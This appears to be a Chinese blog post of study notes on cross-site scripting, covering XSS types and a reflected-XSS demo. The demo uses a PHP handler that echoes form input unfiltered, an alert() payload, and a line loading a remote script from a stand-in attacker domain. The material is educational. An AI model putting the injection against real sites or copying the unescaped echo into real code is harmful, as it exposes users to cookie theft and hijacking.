學習和研究Web安全這麼久都沒有好好地寫過心得,SQLi、XSS、CSRF等常見的Web漏洞都看了個遍,回頭看來還是什麼都不知道(ps:學習和研究的時候做筆記相當重要啊~ ~)。閑暇之餘,又拾起餘弦大牛的技術精華《Web前端黑客技術揭秘》一書,本人沒有做筆記寫部落格的習慣,但這一次,我要好好地記錄一下下,就當練習自己的寫作能力了~
0x00 XSS介紹
XSS(Cross Site Scripting)即跨站腳本,攻擊者将惡意代碼嵌入html頁面裡面,當使用者浏覽該頁面的時候就會執行攻擊者的惡意代碼,導緻使用者cookie洩漏,使用者用戶端被攻擊等。
就像書裡面講的一樣,跨站腳本的重點并不在 “跨站” 上,而應該在 “腳本” 上。”跨站“ 實際上就是XSS攻擊嵌入了一段遠端的或者第三方域上的腳本資源,任何安全問題都有 “Input” 的概念,一般有安全意識的網站,輸入的内容長度都是有長度限制的,這就給惡意代碼直接嵌入頁面造成了困難,但是常常會有下面這種攻擊情況,引用第三方域上的腳本資源:
<script src="http://www.assailant.com/xss.js"></script>
這樣的好處很明顯:攻擊者可以任意地操控攻擊代碼來實作不同的攻擊效果。實際上,script标簽可以嵌入第三方資源,這是浏覽器允許的,對于嵌入的腳本内容,會與本域的腳本内容一樣,在整個腳本的上下文環境中存在。雖然,xss.js檔案在www.assailant.com上,但腳本内容卻實際地嵌入對象所在的浏覽器上下文中,這樣,遠端的腳本就在本地執行了。
大家可能覺得XSS沒有什麼危害性,XSS做的就是簡單的彈窗,盜取使用者cookie和相關資訊,挂馬,釣魚等,但我并不這樣認為,XSS的危害不亞于緩沖區溢出、代碼執行、SQLi等安全漏洞,結合Ajax動态網頁技術,XSS衍生出類似蠕蟲般具有自我複制能力的攻擊形态,不但能在短時間内造成大量的用戶端使用者受到感染,還能是受害用戶端對伺服器産生大量Request,形同對伺服器的DDos。
0x01 XSS分類
XSS(Cross Site Scripting)分為三類:反射型XSS、存儲型XSS、DOM XSS。
反射型XSS(非持久型XSS):簡單的說,就是使用者的資訊送出到伺服器,伺服器解析後傳回相應的内容,在相應内容的時候惡意代碼被嵌入到頁面,最後被浏覽器解析執行。代碼通過伺服器響應直接在本地執行的,特點為一次性觸發,是以稱為反射型XSS。
存儲型XSS(持久型XSS):攻擊者通過注入惡意代碼到服務端,其他使用者浏覽該頁面時,惡意代碼被原樣輸出用戶端,觸發惡意代碼,因為惡意代碼可以持久地儲存在服務端,因而稱為存儲型XSS。
DOM XSS:它和反射型XSS、存儲型XSS的差别在于,DOM XSS的XSS代碼并不需要伺服器解析響應的直接參與,觸發XSS靠的就是浏覽器端的DOM解析,可以認為完全是用戶端的事情。
0x02 XSS Example
下面給出簡單的例子,這裡有一個簡單的表單送出頁面,送出後,伺服器傳回所送出的表單資訊。(form.html為表單頁面,check.php為伺服器處理程式)
form.html 檔案内容如下:
<!DOCTYPE html>
<html>
<head>
<title>XSS Test</title>
</head>
<body>
<center>
<form method="POST" action="check.php">
姓名:<input type="text" name="name" /><br/>
年齡:<input type="text" name="age" /><br/>
性别:<input type="text" name="sex" /><br/>
<input type="submit" name="submit" value="送出" />
</form>
</center>
</body>
</html>
check.php 檔案内容如下:
<?php
$name = $_POST['name'];
$age = $_POST['age'];
$sex = $_POST['sex'];
echo "<center>
您送出的資訊如下:<br/>
姓名:$name<br/>
年齡:$age<br/>
性别:$sex<br/></center>";
?>
下面我們正常地送出表單資訊,如下:

點選 ”送出“ 按鈕後,伺服器傳回如下資訊:
如果攻擊者在 “姓名” 中輸入如下惡意代碼并進行送出:
<script>alert('hello xss')</script>
伺服器會傳回如下頁面:
此時成功地執行了剛才的Javascript代碼:“alert('hello xss')” 出現了彈窗,觸發了反射型XSS攻擊,分析代碼很容易發現,出現該漏洞是由于伺服器端沒有對使用者的輸入進行任何過濾就将其傳回給使用者,導緻攻擊者可以插入任意腳本反射執行,雖然反射型好像隻能用來自娛自樂,但是在大型的網站中,還是不能夠輕易忽視的。